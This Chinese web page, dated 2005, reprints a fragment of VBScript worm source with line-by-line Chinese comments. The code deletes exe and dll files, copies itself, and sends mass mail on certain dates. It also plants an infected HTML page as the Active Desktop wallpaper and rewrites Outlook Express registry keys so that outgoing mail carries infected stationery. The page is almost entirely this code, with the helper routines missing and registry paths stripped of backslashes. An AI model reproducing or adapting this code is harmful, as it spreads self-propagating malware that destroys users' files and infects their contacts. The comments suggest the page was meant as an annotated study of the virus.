| |
| |
| |
| 文章出处：中国论文下载中心 发布时间：2005-11-11 |
’再读HKEY_CURRENT_USERSoftwareHelpFileName键值
f2 = FNext(Of, Od, f1)
’得到该文件的文件名
fext = GetExt(Of, Od, f2)
’得到该文件扩展名的代号
Rw Ks & "HelpFileName", f2
’添加键值
If IsDel(fext) Then
’如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2
’储存文件名
f2 = FNext(Of, Od, f2)
’得到文件的文件名？
Rw Ks & "HelpFileName", f2
’写注册表
Of.DeleteFile f3
’删除文件
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
’如果不是集合中的文件
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
’使用 Cint函数强制执行转换，并发邮件
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USERControl PaneldesktopwallPaper")
If Rg(Ks & "HelpwallPaper") <> wp Or wp = "" Then
’比较桌面墙纸是否已改变
If wp = "" Then
n1 = ""
n3 = Cs & "Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
’创建超文本
pfc.Write "<" & "HTML><" & "body bgcolor=’#007f7f’ background=’" & n1 & "’><
" & "/Body><" & "/HTML>" & mt
’超文本的内容
pfc.Close
Rw Ks & "HelpwallPaper", n3
Rw "HKEY_CURRENT_USERControl PaneldesktopwallPaper", n3
’将带毒的超文本设置成活动桌面
End If
Else
Set fc = Of.CreateTextFile(Ds & "Help.vbs", True)
fc.Write Sa("0100")
’创建vbs文件
fc.Close
bf = Cs & "Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
’创建windows下的untitled.htm
oeid = Rg("HKEY_CURRENT_USERIdentitiesDefault User ID")
oe = "HKEY_CURRENT_USERIdentities" & oeid & "SoftwareMicrosoftOutlook E
xpress5.0Mail"
MSH = oe & "Message Send HTML"
CUS = oe & "Compose Use Stationery"
SN = oe & "Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
’在Hkey_Current_User＼Identities＼{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}＼Software＼Microsoft＼Outlook Express＼5.0＼Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name，前两个的值为1，后一个指向windowsuntitled.htm
|
|
| [返回顶部↑]
|
|
|
| |
|
|
|
|
| |
|
